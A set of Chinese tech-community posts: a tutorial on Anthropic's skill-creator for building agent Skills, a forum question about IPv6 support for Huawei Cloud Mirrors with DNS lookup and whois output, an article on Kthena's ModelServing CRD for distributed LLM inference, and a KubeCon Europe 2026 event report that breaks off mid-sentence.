-
欢迎阅读「从零开始写好 Skill」系列 —— 上一个系列我们用 7 篇文章拆解了 Agent 的骨架,这个系列教你给 Agent 写"工作手册"。第一篇:Skill 是什么?为什么你应该关心它第二篇:一个好 Skill 长什么样——SKILL.md 的解剖第三篇:手把手写你的第一个 Skill第四篇:写 Skill 太费劲?让 skill-creator 来帮你(本文)作者:十一 「从零开始写好 Skill」系列 —— 上一个系列我们用 7 篇文章拆解了 Agent 的骨架,这个系列教你给 Agent 写"工作手册"。第一篇:Skill 是什么?为什么你应该关心它第二篇:一个好 Skill 长什么样——SKILL.md 的解剖第三篇:手把手写你的第一个 Skill第四篇:写 Skill 太费劲?让 skill-creator 来帮你(本文)▍开场:三轮迭代的代价还记得第三篇吗?我们从零写了一个 article-summarizer,经历了三轮迭代:第一版 description 触发不了、输出格式不稳定;第二版对照检查清单修了一遍,好多了但实际跑起来又发现观点数量太死板、字段之间撞车;第三版基于踩坑再优化,终于好用了。三轮迭代,每一轮都要自己思考问题在哪、怎么改、改完再跑一遍验证。这还只是一个功能很简单的总结 Skill。如果你要写一个代码审查 Skill、一个部署流水线 Skill,复杂度翻几倍,迭代次数也会翻几倍。有没有办法让这个过程更高效?有。Anthropic 官方出了一个"元技能"—— skill-creator。它本身就是一个 Skill,但它的职责是帮你创建和优化其他 Skill。用 AI 来写 AI 的工作手册。▍一、skill-creator 是什么一句话:它是一个帮你创建、测试和迭代 Skill 的 Skill。它覆盖了 Skill 开发的完整生命周期:理解你的意图——你想让 Skill 做什么起草 SKILL.md——包括 description、操作流程、注意事项生成测试用例——验证 Skill 效果运行对比评估——有 Skill vs 没 Skill,效果差多少基于评估结果迭代优化优化 description 的触发精准度本质上,它把第三篇里我们手工做的三轮迭代,变成了一个系统化的、有数据支撑的流程。你不需要自己猜"description 写得够不够好",它会用 20 个测试查询帮你验证;你不需要自己判断"总结质量提升了没有",它会并排对比有 Skill 和没 Skill 的输出,让你一目了然。▍二、先看它的文件夹结构在讲怎么用之前,先看看 skill-creator 自己长什么样。它是"Skill 是文件夹不是文件"这个概念的最佳实例:skill-creator/├── SKILL.md ← 主文件:完整的创建流程指南├── agents/ ← 子代理定义│ ├── grader.md ← 评分员:评估测试结果│ └── analyzer.md ← 分析员:找出数据背后的模式├── eval-viewer/ ← 评估结果可视化工具│ └── generate_review.py├── references/ ← 参考资料│ └── schemas.md ← 评估数据的 schema 定义├── scripts/ ← 辅助脚本│ ├── init_skill.py ← 初始化新 Skill 的目录结构│ ├── package_skill.py ← 打包 Skill 用于分发│ └── aggregate_benchmark.py ← 聚合评估数据└── assets/ ← 模板等资源一个 SKILL.md 主文件,搭配子代理定义、脚本、参考资料、可视化工具。Agent 读 SKILL.md 了解整体流程,执行时按需调用 scripts/ 里的脚本,评估时启动 agents/ 里定义的子代理,最后用 eval-viewer/ 生成可视化报告。这就是第二篇讲的"渐进式揭示"的教科书案例——SKILL.md 不塞所有内容,而是指向各个子文件,Agent 在需要的时候才去读。▍三、完整流程:从意图到成品安装好 skill-creator 之后,告诉它你想创建什么 Skill,它会引导你走完以下六个阶段。阶段一:意图捕获skill-creator 不会让你一上来就写 SKILL.md。它先用"采访模式"收集需求:"这个 Skill 要解决什么问题?""用户会怎么描述这个需求?给几个具体的说法。""给几个具体的使用场景?""有没有什么边界条件——哪些事情这个 Skill 不该做?"它会根据你的回答追问细节,但不会一次问太多——它的 SKILL.md 里明确写了"避免在一条消息里问太多问题"。这里有一个细节值得注意:skill-creator 会根据你的技术水平调整表达方式。它的 SKILL.md 里有一段很有意思的话——大意是"现在连水管工都开始打开终端了,另一方面大多数用户又是程序员,所以要看上下文线索来决定怎么说话"。比如 "JSON" 和 "assertion" 这种词,它会先确认你是否了解再使用。这个设计本身就是一个好 Skill 该有的样子:不假设用户的背景,根据上下文自适应。阶段二:起草收集完需求后,skill-creator 调用 scripts/init_skill.py 自动生成 Skill 的目录结构:# skill-creator 自动执行python scripts/init_skill.py my-new-skill生成一个标准的 Skill 文件夹,包含 SKILL.md 模板和 scripts/、references/、assets/ 子目录。然后它会基于你在第一阶段提供的信息,填充 SKILL.md 的内容。它生成的 SKILL.md 会自动遵循我们前几篇讲的原则:description 写成触发条件,而且覆盖面写得比较宽。比如不只写"当用户要求创建仪表盘时触发",还会加上"即使用户没有明确说'仪表盘',只要提到了数据可视化、内部指标,都应该触发"。这和第二篇讲的"覆盖用户多种说法"一脉相承,宁可多触发也不要漏触发。内容区分"参考知识"和"任务流程"——该放进 references/ 的不会塞在 SKILL.md 里。可复用的脚本放进 scripts/——确定性的工作交给代码,不靠 AI 每次重写。它还会特别提醒你:写 Skill 是给另一个 Agent 实例看的,重点放在对 Agent 有用但不是显而易见的信息上。 不需要教 Agent "什么是 API",但需要告诉它"调用这个 API 时必须传 X-Auth-Token 头,否则返回 403"。阶段三:测试这是 skill-creator 最有价值的部分。它会为你的 Skill 生成一组测试用例,然后对每个用例同时启动两个子代理:一个带着你的 Skill 执行任务一个不带任何 Skill 执行同样的任务两个子代理并行跑(不是先跑完一个再跑另一个),输出放在一起对比。这直接回答了一个关键问题:你的 Skill 到底有没有用? 不是你主观感觉"好像好了一点",而是有/无 Skill 的输出并排放在面前,差距一目了然。还记得第一篇那个公众号文章的对比吗?没有 Skill 的 Agent 说"我做不到",有 Skill 的 Agent 说"做好了"。skill-creator 把这种对比变成了一个可重复执行的自动化流程——每次修改 Skill 之后都能重新跑一遍,量化改进效果。阶段四:评分和分析测试跑完后,skill-creator 启动两个专门的子代理来处理结果:评分员(grader):对每个测试用例的输出打分。能用脚本程序化验证的断言(比如"输出文件是否存在""格式是否符合 JSON schema"),就写脚本去检查,不靠 AI 的主观判断。只有需要定性评估的部分(比如"总结质量如何")才用 AI 打分。这个设计原则值得记住:确定性的事交给脚本,判断性的事交给 AI。 脚本更快、更稳定、可复用;AI 擅长做需要理解和判断的事,但不该浪费在"检查文件是否存在"这种事情上。分析员(analyzer):在评分数据的基础上找模式。比如:某些断言不管有没有 Skill 都通过——说明这个断言没有区分度,需要改某些测试方差很大——可能是断言本身不稳定时间和 Token 的消耗变化——Skill 是否让 Agent 更高效了最后生成一个交互式的浏览器页面(通过 eval-viewer/generate_review.py),你可以在页面上直观地看到每轮迭代的效果变化、定性输出和定量指标。# skill-creator 自动执行,你也可以手动运行python eval-viewer/generate_review.py \ my-skill-workspace/iteration-1 \ --skill-name "my-skill" \ --benchmark my-skill-workspace/iteration-1/benchmark.json阶段五:迭代看完评估结果,你告诉 skill-creator 哪里不满意、需要怎么改。它会修改 SKILL.md,然后重新跑一轮测试,对比新旧版本的 benchmark 数据。从第二轮迭代开始,评估报告会自动和上一轮对比,你能清楚地看到每次修改带来的变化——通过率是上升还是下降、Token 消耗是增加还是减少、哪些原来失败的测试现在通过了。这就是第三篇里我们手工做的事情——但 skill-creator 把它从"靠感觉"变成了"靠数据"。阶段六(可选):description 优化skill-creator 还有一个专门优化 description 触发精准度的功能。它会生成 20 个测试查询:10 个应该触发这个 Skill 的,10 个不应该触发的。然后检查你的 description 在这 20 个查询上的匹配准确率,最多迭代 5 轮,每轮都调整 description 的措辞,直到准确率满意为止。这个功能直接对应第二篇的关键点——"description 是触发器,不是摘要"。手工优化 description 很靠直觉,而 skill-creator 用 20 个测试查询把它变成了一个可量化的优化过程。▍四、安装和上手一条命令安装:npx skills add https://github.com/anthropics/skills --skill skill-creator安装完成后,在 Agent(如 Claude Code)里就可以直接使用了。如果你想从零创建一个新 Skill,直接告诉它你的需求:"帮我创建一个 Skill,用来在每次提交代码前自动检查是否有遗留的 TODO 注释。"它会引导你走完意图捕获 → 起草 → 测试 → 迭代的完整流程。如果你已经有一个写好的 Skill 想优化,把路径告诉它:"帮我优化 article-summarizer 这个 Skill,我觉得它的总结质量不太稳定。"它会对现有 Skill 做评估,找出问题,给出改进建议。建议的上手路径:先用它优化你已有的 Skill,再用它从零创建新的。 优化一个已有的 Skill 能让你快速熟悉 skill-creator 的评估流程,理解"测试用例""断言""benchmark"这些概念在实际中怎么运作。有了这个基础,再从零创建就顺畅多了。▍五、skill-creator 教给我们的三条设计理念抛开工具本身不谈,skill-creator 的设计里藏着几条值得所有 Skill 作者学习的理念。理念一:description 宁可写宽,不要写窄大多数人写 description 倾向于保守——只在用户明确说出关键词时才触发。skill-creator 的建议是反过来:主动覆盖用户可能的各种说法,甚至用户没有明确提到关键词时也该触发。它给的例子很直观:不要只写"当用户要求创建内部数据仪表盘时使用",而是写"当用户提到仪表盘、数据可视化、内部指标,或者想展示任何类型的公司数据时使用,即使他们没有明确说'仪表盘'这个词"。道理很简单:Skill 多触发一次,Agent 发现不需要,顶多忽略掉,没有损失。但 description 写得太窄导致该触发的时候没触发,用户就得不到帮助。漏触发的代价远大于多触发。理念二:确定性的事交给脚本skill-creator 的测试流程里,能用脚本验证的断言绝不用 AI 打分。"文件是否生成了","JSON 格式是否正确","行数是否在范围内"——这些有明确对错的事情,写一段脚本检查比让 AI 每次"看一眼"更快、更准、更稳定。这个原则适用于所有 Skill 的设计:把确定性的操作封装成脚本放在 scripts/ 目录里,让 AI 专注于需要理解和判断的部分。 AI 的精力应该花在"这段代码的设计是否合理"这种问题上,而不是"这个文件是不是存在"。理念三:Skill 是写给另一个 AI 的skill-creator 在创建 Skill 时有一条很关键的提醒:你写的 Skill 是给另一个 Agent 实例使用的。重点应该放在"对 Agent 有用但不是显而易见的信息"上。什么是"显而易见的"?Agent 已经知道怎么写 Python、怎么调用 REST API、怎么格式化 Markdown——这些不需要你在 Skill 里重复。什么是"不显而易见的"?你们团队的内部 API 要传一个特殊的认证头、某个库的 2.x 版本有一个文档没提到的 bug、部署到生产环境前必须先跑冒烟测试——这些才是 Skill 应该写的内容。Skill 的价值在于填补 AI 的知识盲区,而不是重复 AI 已经知道的东西。▍六、工具和手艺skill-creator 是一个好工具。但工具不能替代理解。如果你跳过前四篇,直接用 skill-creator 来生成 Skill,你会遇到几个问题:它生成的 SKILL.md 你看不懂为什么这样写;评估结果出来了你不知道哪些指标重要;测试失败了你不知道是 Skill 的问题还是测试用例的问题。反过来,如果你理解了 Skill 的本质(第一篇)、知道每个部分怎么写才有效(第二篇)、经历过手工迭代的过程(第三篇),再来用 skill-creator,你会发现——它加速的是你本来就知道该怎么做的事情。意图捕获阶段,你知道该提供什么样的使用场景。起草阶段,你能判断它生成的 description 覆盖面够不够宽。测试阶段,你能设计出有区分度的断言。迭代阶段,你能从 benchmark 数据里读出真正的问题。先学会手艺,再用工具放大效率。这个顺序不能反。下一篇预告到这里,你已经掌握了从理解 Skill、拆解 Skill、手写 Skill 到用工具加速的完整链路。但我们一直在聊"一个 Skill"。真实的工作场景,往往需要多个 Skill 组合——先抓取再总结、先审查再修复、先收集需求再生成方案。下一篇,我们聊怎么拆开写、串起用,以及什么时候该拆、什么时候不该拆。「从零开始写好 Skill」系列是「从零开始理解 Agent」系列的姊妹篇。如果你还没有读过 Agent 系列,建议先从 第一篇:Agent 的底层原理 开始。
-
如下所示,华为云的基础设施(ELB+ECS)已经支持IPv6,华为云Mirrors什么时候增加IPv6解析访问支持?dingtalkmemz_@Debian:~$ dnsrecon --tcp -d mirrors.cernet.edu.cn2026-04-04T22:01:24.332774+0800 INFO Starting enumeration for domain: mirrors.cernet.edu.cn2026-04-04T22:01:24.333060+0800 INFO std: Performing General Enumeration against: mirrors.cernet.edu.cn...2026-04-04T22:01:24.467911+0800 ERROR No answer for DNSSEC query for mirrors.cernet.edu.cn2026-04-04T22:01:24.531959+0800 INFO A mirrors.cernet.edu.cn 1.51.3.1342026-04-04T22:01:24.532154+0800 INFO AAAA mirrors.cernet.edu.cn 2001:250:4:100::22026-04-04T22:01:24.537596+0800 INFO Enumerating SRV Records2026-04-04T22:01:24.649229+0800 ERROR No SRV Records Found for mirrors.cernet.edu.cn2026-04-04T22:01:24.649541+0800 INFO Completed enumeration for domain: mirrors.cernet.edu.cndingtalkmemz_@Debian:~$ dnsrecon --tcp -d t0.tianditu.gov.cn2026-04-04T22:01:27.784035+0800 INFO Starting enumeration for domain: t0.tianditu.gov.cn2026-04-04T22:01:27.784517+0800 INFO std: Performing General Enumeration against: t0.tianditu.gov.cn...2026-04-04T22:01:27.852586+0800 ERROR No answer for DNSSEC query for t0.tianditu.gov.cn2026-04-04T22:01:27.918755+0800 INFO SOA ns1.hwclouds-dns.com 122.112.208.2532026-04-04T22:01:27.918898+0800 INFO SOA ns1.hwclouds-dns.com 116.205.5.332026-04-04T22:01:27.918963+0800 INFO SOA ns1.hwclouds-dns.com 139.9.224.172026-04-04T22:01:27.919018+0800 INFO SOA ns1.hwclouds-dns.com 116.205.223.1302026-04-04T22:01:27.919068+0800 INFO SOA ns1.hwclouds-dns.com 2407:c080:20:ffff:ffff:fffe:0:12026-04-04T22:01:28.045800+0800 INFO CNAME t0.tianditu.gov.cn de1d4307586b46539211cef7469770d2.vip1.huaweicloudwaf.com2026-04-04T22:01:28.046009+0800 INFO A de1d4307586b46539211cef7469770d2.vip1.huaweicloudwaf.com 116.205.70.1072026-04-04T22:01:28.046105+0800 INFO A de1d4307586b46539211cef7469770d2.vip1.huaweicloudwaf.com 116.205.64.92026-04-04T22:01:28.046184+0800 INFO A de1d4307586b46539211cef7469770d2.vip1.huaweicloudwaf.com 116.205.64.32026-04-04T22:01:28.046255+0800 INFO A de1d4307586b46539211cef7469770d2.vip1.huaweicloudwaf.com 116.205.70.1222026-04-04T22:01:28.046323+0800 INFO CNAME t0.tianditu.gov.cn de1d4307586b46539211cef7469770d2.vip1.huaweicloudwaf.com2026-04-04T22:01:28.046409+0800 INFO AAAA de1d4307586b46539211cef7469770d2.vip1.huaweicloudwaf.com 2407:c080:170f:fff8::1982026-04-04T22:01:28.046487+0800 INFO AAAA de1d4307586b46539211cef7469770d2.vip1.huaweicloudwaf.com 2407:c080:170f:fff9::13e2026-04-04T22:01:28.046576+0800 INFO AAAA de1d4307586b46539211cef7469770d2.vip1.huaweicloudwaf.com 2407:c080:170f:fff9::11d2026-04-04T22:01:28.046665+0800 INFO AAAA de1d4307586b46539211cef7469770d2.vip1.huaweicloudwaf.com 2407:c080:170f:fff8::24b2026-04-04T22:01:28.051442+0800 INFO Enumerating SRV Records2026-04-04T22:01:28.093197+0800 ERROR No SRV Records Found for t0.tianditu.gov.cn2026-04-04T22:01:28.093565+0800 INFO Completed enumeration for domain: t0.tianditu.gov.cndingtalkmemz_@Debian:~$ whois 2407:c080::1 |grep :% Whois data copyright terms http://www.apnic.net/db/dbcopyright.html% Information related to '2407:c080::/32'% Abuse contact for '2407:c080::/32' is 'ipas@cnnic.cn'inet6num: 2407:c080::/32netname: HWCSNETdescr: Huawei Software Technologies Ltd.Codescr: Shenzhen, P.R.Chinacountry: CNadmin-c: NZ158-APtech-c: MH1129-APabuse-c: AC1601-APstatus: ALLOCATED PORTABLEmnt-by: MAINT-CNNIC-APmnt-routes: MAINT-CNNIC-APmnt-irt: IRT-CNNIC-CNlast-modified: 2021-06-16T01:31:27Zsource: APNICirt: IRT-CNNIC-CNaddress: Beijing, Chinae-mail: ipas@cnnic.cnabuse-mailbox: ipas@cnnic.cnadmin-c: IP50-APtech-c: IP50-APauth: # Filteredremarks: Please note that CNNIC is not an ISP and is notremarks: empowered to investigate complaints of network abuse.remarks: Please contact the tech-c or admin-c of the network.remarks: ipas@cnnic.cn is invalidmnt-by: MAINT-CNNIC-APlast-modified: 2025-11-17T23:08:37Zsource: APNICrole: ABUSE CNNICCNcountry: ZZaddress: Beijing, Chinaphone: +000000000e-mail: ipas@cnnic.cnadmin-c: IP50-APtech-c: IP50-APnic-hdl: AC1601-APremarks: Generated from irt object IRT-CNNIC-CNremarks: ipas@cnnic.cn is invalidabuse-mailbox: ipas@cnnic.cnmnt-by: APNIC-ABUSElast-modified: 2025-09-19T17:20:32Zsource: APNICperson: Mingliang Haonic-hdl: MH1129-APe-mail: mingliang.hao@huawei.comaddress: 10/F, Xinsheng Tower, 5 Financial Street,address: Xincheng District,Beijing,100140 P.R.Chinaphone: +86-18618305900fax-no: +86-10-63762415country: CNmnt-by: MAINT-CNNIC-APlast-modified: 2012-10-09T05:34:02Zsource: APNICperson: Nina Zhaonic-hdl: NZ158-APe-mail: zhaocaina@huawei.comaddress: 10/F, Xinsheng Tower, 5 Financial Street,address: Xincheng District,Beijing,100140 P.R.Chinaphone: +86-18601351719fax-no: +86-10-63762415country: CNmnt-by: MAINT-CNNIC-APlast-modified: 2012-10-09T05:34:02Zsource: APNIC% Information related to '2407:c080::/32AS55990'route6: 2407:c080::/32origin: AS55990descr: Huawei Cloud Service data centermnt-by: MAINT-CNNIC-APlast-modified: 2019-02-03T02:16:01Zsource: APNICdingtalkmemz_@Debian:~$
-
欢迎阅读【LLM推理】专栏系列文章,在首个系列,我们将带来大模型智能推理方向开源项目Kthena技术解析:★【第一期】《Kthena 核心原语:ModelServing CRD 如何定义分布式推理的“新标准”?》(本文)★【第二期】《Kthena Router:插件架构解析及Benchmark测试》★【第三期】《Kthena AutoScaling:深度解析 Kthena 如何通过“语义感知弹性”重塑 AI 推理成本》★ 项目地址:cid:link_0 随着大模型参数规模呈指数级增长,单一虚拟机或物理机的资源限制已无法满足其需求。为了应对这一挑战,业界引入了许多创新性的部署框架,例如 PD (Prefill-Decode) 分离部署以及大小模型混合部署框架。这些方法彻底改变了推理部署的方式:不再是一个 Pod 处理整个推理任务,现在往往由多个 Pod 协同完成单次推理任务。这种多 Pod 协同已经成为大模型推理部署的关键趋势。在实践中,推理模型可能仍然运行在单个 Pod 内(如传统的单节点场景)、一组相同的 Pod 中(针对更大的模型),或者跨越具有专门角色的多个 Pod(如 PD 分离部署)。这种灵活的部署方式不仅提高了资源利用率,也实现了更高效的大模型推理。ModelServing 是 Kthena[1] 定义的一个API,旨在管理和编排推理模型工作负载的生命周期。得益于其三层架构,它可以非常方便地表示和管理多种部署模式。▍三层架构为了解决 Kubernetes 传统的两层架构(例如 Deployment 和 StatefulSet)在管理多样化推理工作负载部署场景时的局限性,ModelServing 采用了 ModelServing → ServingGroup → Role 的三层架构。架构图如下所示:ModelServing: 核心组件,负责管理推理模型工作负载的生命周期。它提供了一个统一的接口,用于部署和管理推理模型以及查询它们的状态。ServingGroups: ServingGroup 是一个 Role(角色)的集合。每个 Group 都可以完成完整的推理任务,对于 PD 分离部署来说,它同时包含 Prefill 和 Decode 角色。Roles: 一个 ServingGroup 内的每个 Role 由一组 Pod 组成,这些 Pod 是负责执行推理任务的实际工作负载。可以为每个角色分配不同的任务。例如,在 PD 分离场景中,您可以配置一个 prefill role(预填充角色)和一个 decode role(解码角色)。关于 ModelServing 的定义,请参考 modelServing CRD 参考文档[2]。通过将推理工作负载整合为 Group 形式,该架构实现了与 Volcano 的 Gang 调度及网络拓扑感知调度的无缝对接。与此同时,针对滚动更新和弹性扩缩容等核心的云原生工作负载管理需求,我们也进行了专门的扩展处理。▍Gang 调度Gang 调度策略是 Volcano-Scheduler 的核心调度算法之一。它满足了调度过程中“同生共死 (All or nothing)”的调度需求,避免了由于为满足任务需求的部分 Pod 部署而导致的资源浪费。Gang 调度算法会观察已调度的 Pod 数量是否满足最小运行数量。当满足 Job 的最小运行数量时,将对 Job 下的所有 Pod 执行调度动作;否则,所有的Pod都不会执行调度。在 Kthena 中,基于 ModelServing 创建 PodGroups,通过 PodGroups 利用 Volcano 的 Gang 调度能力。subGroupSize 字段指定了每个 Role 中需要进行 Gang 调度的 Pod 数量。实例级 Gang 调度创建过程Kthena将为整个 ServingGroup 实例创建一个单一的 PodGroup。该配置为自动生成,无需手动创建。PodGroup 配置:以下为 modelServing 示例:apiVersion:workload.serving.volcano.sh/v1alpha1kind:ModelServingmetadata:name:samplenamespace:defaultspec:schedulerName:volcanoreplicas:1# servingGroup replicastemplate: restartGracePeriodSeconds:60 gangPolicy: minRoleReplicas: prefill:2 decode:2 roles: -name:prefill replicas:4 # ... additional role configuration -name:decode replicas:4 # ... additional role configurationapiVersion:scheduling.volcano.sh/v1beta1kind:PodGroupmetadata:name:{modelserving-name}-{servinggroup-index}namespace:{modelserving-namespace}labels: modelinfer.volcano.sh/name:{modelserving-name}-{servinggroup-index}annotations: scheduling.k8s.io/group-name:{modelserving-name}spec:minMember:8subGroupPolicy:-labelSelector: matchLabels:`` modelserving.volcano.sh/name:sample modelserving.volcano.sh/role:prefill matchLabelKeys: -modelserving.volcano.sh/role-id minSubGroups:2 name:prefill subGroupSize:2 -labelSelector: matchLabels: modelserving.volcano.sh/name:sample modelserving.volcano.sh/role:decode matchLabelKeys: -modelserving.volcano.sh/role-id minSubGroups:2 name:decode subGroupSize:2## ... another configuration ...pod数量计算:如果未配置 MinRoleReplicas,minMember的值计算如下:minMember = replicas × Σ(role.replicas × (1 + role.workerReplicas))如果配置了 MinRoleReplicas, minMember的值计算变为:minMember = replicas × Σ(minRoleReplicas[roleName] × (1 + role.workerReplicas))其中: replicas: ServingGroup 实例的数量 role.replicas: 每个 ServingGroup 内角色实例的数量 minRoleReplicas[roleName]: 配置的Role需要的最少Replicas 1 + role.workerReplicas: 每个角色实例的 EntryPod + WorkerPods 数量SubGroupSize计算:如果未配置 MinRoleReplicas,subGroupSize 的值生成逻辑如下:针对 Spec.Template.Roles 中指定的每个 role在podGroup中创建对应的subGroupPolicy每个Role对应的SubGroupSize为 (1 + role.workerReplicas)如果配置了 MinRoleReplicas,subGroupSize 的值生成逻辑变为:针对 MinRoleReplicas map中指定的每个 role在Spec.Template.Roles当中找到对应的role在PodGroup中创建对应的subGroupPolicy每个minRoleReplicas中的role对应的SubGroupSize为 (1 + role.workerReplicas)▍滚动更新滚动更新是云服务实现零停机的一项关键运维策略。在 LLM 推理服务场景中,支持滚动更新对于降低服务不可用风险、保障业务连续性至关重要。 目前,ModelServing 支持在 ServingGroup 级别进行滚动升级,允许用户配置 Partitions 控制滚动过程。Partition:表示 ModelServing 更新时划分的分界序号。在滚动更新期间,序号大于或等于 Partition 的副本将被更新。序号小于 Partition 的副本将不会被更新。以下为一个配置了 rollout 策略的 ModelServing示例:spec: rolloutStrategy: type:ServingGroupRollingUpdate rollingUpdateConfiguration: partition:0接下来,我们将展示具有四个副本的 ModelServing 的滚动更新过程。这里模拟了三种副本状态:✅ 副本已更新❎ 副本未更新⏳ 副本正在进行滚动更新在滚动升级期间,控制器会删除并重建需要更新的副本中序列号最大的副本。直到新副本正常运行后,下一副本才会被更新。现阶段ModelServing已经支持设置maxUnavailable,能够设置在滚动更新的时候有多少新版本的servingGroup可以为不可用状态,控制滚动升级的速度。▍扩缩容在云原生基础设施项目中,弹性扩缩容在优化资源成本、提升系统可用性、增强响应能力以及简化运维管理等方面,发挥着至关重要的作用。 在 ModelServing 中,我们支持 ServingGroup 和 Role 的两级扩缩容。 ServingGroup 级别的扩缩容与滚动更新的处理过程类似,更新均在副本集中以逆序进行。 Role 级别的扩缩容可以直接对每个角色的进行副本数细粒度的调整。在 PD 分离部署场景中,可以弹性调整 prefill 或 decode 副本,根据它们各自的工作负载优化 P/D 比例。例如:长提示词,短输出场景:弹性增加 prefill 副本,以处理计算密集的提示词处理,同时保持较少的 decode 副本。短提示词,长输出场景:弹性增加 decode 副本,以处理序列 token 的生成,同时保持较少的 prefill 副本。这种灵活的扩缩容能力确保了能够基于实际工作负载模式进行最佳的资源分配。 通过修改 role.Replicas 触发角色粒度的弹性扩缩容,整个 ServingGroup 的状态将变为 scaling,随后执行 Pod 的创建或删除流程。 当 Pod 副本数满足预期后,ServingGroup 的状态将基于所有 Pod 的状态更新。并且由于 Role 中的 Pod 带有顺序和标签,所有扩缩容操作都是从最后一个 Pod 开始处理的。Role 扩缩容流程▍重启策略在 ModelServing 中,强调了将 Pod 分组的概念。因此,当组内的一个 Pod 发生错误时,通常会一起重启整个组。然而,在生产环境中,重启一整组 Pod 可能会消耗大量的资源和时间。为解决这个问题,ModelServing 也提供了支持单个 Role 重启的策略。ServingGroupRecreate: 当组内 Pod 发生错误时,将重启整个servingGroup。 RoleRecreate: 当组内 Pod 发生错误时,servingGroup的状态将更新为 progressing 并且仅重启受影响的 Role。如果 serviceGroup 停留在 progressing 状态超过一定时间,则将删除并重新创建整个 ServingGroup。▍展 望作为 Kthena 的核心组件,ModelServing 如今已能游刃有余地应对大模型工作负载的管理与调度,彰显了 Kthena 架构的优越性与前瞻性。尽管目前在 PD 分离场景的精细化操作(如实例平滑升级)上尚处于完善阶段,但在未来的发展蓝图中,我们势必会为 PD 分离等复杂部署模式注入更多专属的强大能力。如果您对此感兴趣,我们欢迎您加入 Kthena 社区,共同建设我们的开源生态系统。相关链接:[1] 加入 Kthena 社区: cid:link_1[2] modelServing CRD 参考文档: https://kthena.volcano.sh/docs/next/reference/crd/workload.serving.volcano.sh#modelserving欢迎Star★,Fork,来 Kthena 社区一起玩转LLM推理! 扫码进入Kthena技术交流群社区小助手k8s2222
-
在刚刚闭幕的 KubeCon + CloudNativeCon Europe 2026 上,全球开源精英与产业力量齐聚阿姆斯特丹,共同见证了云原生领域的又一次浪潮。本届大会以“Keep Cloud Native Moving”为主题,传递出一个清晰的信号:云原生已远超资源编排的范畴,正加速进化为AI——尤其是LLM与Agentic AI——的核心运行底座。 开放创新,共建面向 Agentic AI 的智能原生基础设施 作为 CNCF 的持续贡献者与全球云原生产业的引领者,华为云本次参会以 “Powering the Agentic Future” 为核心主旨,全方位展示了面向 Agentic AI 的“智能原生”基础设施开源创新与产品方案。通过多场深度技术演讲、沉浸式展区互动以及前沿技术研讨,华为云向全球开发者系统分享了在 AI 全生命周期管理、大规模异构算力调度、分布式推理流量治理、高性能服务网格等关键方向上的技术突破与实践经验,共同码写云原生在智能时代的新篇章。▍Volcano:从 AI 全生命周期调度到 Agent 韧性底座随着 Agentic AI 的兴起,基础设施面临着从“作业调度”向“复杂智能体编排”的转变。作为业界顶尖的云原生AI调度引擎,Volcano 构建从大规模训练到 Agent 编排的 AI 全生命周期调度底座,并于 2025 年重点推出了 面向 LLM 推理的 Kthena 与 面向 AI Agent 工作负载的高性能编排层 AgentCube 两个备受瞩目的子项目,在技术层面高性能适配 Agentic AI 应用要求。在工作负载层:Volcano-Global 将海量训练作业拆分到多个集群,突破了单集群的限制;Kthena 提供企业级 LLM 服务,并支持 vLLM 等框架;AgentCube 快速实现Agent工作负载调度。在基础设施层,Volcano 通过 DRA 集成、HyperNode 发现、GPU 共享和异构池化,提供现代化的资源抽象,实现高效的任务到加速器映射。▲ Breaking the Monolith: Decomposing and Governing Giant LLM Jobs Across Clusters - Kevin Wang, Huawei通过打通完整 AI 生命周期的统一调度能力,Volcano 提供强大的调度能力和高吞吐量,能够协调各种工作负载,超越批处理作业的限制,实现多调度器协同,高效应对人工智能快速发展过程中的训练、推理和 Agent 工作负载运行在孤立的系统中造成的资源效率低等难题。这不仅是调度算法的优化,更是云原生 AI 基础设施的一次范式重构,为 Agentic Future 提供了稳健、高效的运行动力。▲ 华为云开源技术专家 Zhonghu Xu(上)、Zicong Chen(左)、ZengZeng Yao(右)发表Volcano及Kthena、AgentCube 议题更多Volcano议题演讲精彩内容,欢迎关注后续技术解析。▍Karmada:跨越云端边界,构建面向 AI 的多集群管理架构本届大会,来自华为云的 Karmada 维护者 Hongcai Ren 等组织了专场 Project Meeting ,与开发者与用户深度探讨了多集群扩展性、工作负载分发及社区发展路标,强化了分布式云原生的协作生态。携手Bloomberg、携程等生产用户,Karmada 社区也在分论坛上分享了社区过去一年的关键演进。Karmada 正在从“多集群管理工具”进化为“多集群AI编排底座”:应用优先级调度、联邦资源配额、有状态应用故障迁移等能力持续增强生产级稳定性;AI 作业调度增强与 Volcano Global 的协同,则为超大规模 LLM 任务的跨集群拆分与统一调度提供了坚实基础。同时,Karmada Dashboard 正式发布、Operator 能力持续增强,显著提升了多集群场景的可观测性与运维体验。▲ Karmada 社区专场会议与议题演讲在 ArgoCon 论坛上,华为云开源技术专家联合用户伙伴分享了 Karmada 与 Argo 生态整合的最佳实践。针对混合云多集群场景下渐进式交付缺乏全局协调能力的痛点,他们展示了如何通过 Karmada 与 Argo CD、Argo Rollouts 的整合,构建“定义一次,安全交付到任意集群”的统一平台。通过金丝雀发布示例,现场演示了集成架构与完整工作流,既保留了 Argo 在单集群渐进式交付的成熟能力,又借助 Karmada 的跨集群编排能力,将渐进式交付扩展至全局多集群。该方案已在生产环境中验证,为企业多云应用交付提供了可复用的实践范本。▲ From Canary To Global: Unified Progressive Delivery for Hybrid Cloud With Karmada & Argo - Zhuang Zhang, Huawei & Karmada PartnerKarmada 的成熟度与可靠性已在 Bloomberg、携程等复杂生产环境中得到充分验证,社区用户组成员突破40+。未来,Karmada 社区将持续聚焦 AI 工作负载的跨集群编排能力,与 Volcano、Kueue 等项目深度协同,共同构建面向AI多集群场景的统一管理与控制面▍Kmesh:基于 Rust 的数据面创新,引领Sidecarless服务网格服务网格的性能开销一直是大规模分布式系统痛点,尤其是在对时延极其敏感的 AI 推理场景中。Kmesh 独辟蹊径地采用了内核级、Sidecarless 的架构。通过将服务治理逻辑下沉至 OS 内核(基于 eBPF 技术),Kmesh 实现了近乎零开销的网络转发,极大地降低了服务间通信的时延。▲ Optimize Sidecarless Service Mesh With A Brand-New Rust-Based Proxy - Zengzeng Yao, Huawei Cloud;Kmesh Maintainer华为云开源技术专家分享了在 Kmesh 社区的技术创新成果。针对现有 Sidecarless 服务网格方案中 L7 流量处理依赖 Envoy waypoint 所带来的性能瓶颈与内存管理难题,包括不可预测的内存泄漏和生产环境调试复杂性。Kmesh 引入基于 Rust 重构的 Orion,作为 waypoint 与 Kmesh 深度集成后,Orion 与 Kmesh 的 eBPF L4 处理能力形成合力,构建了覆盖 L4 与 L7 的统一高性能 Sidecarless 服务网格。这一方案既延续了 Kmesh 在 L4 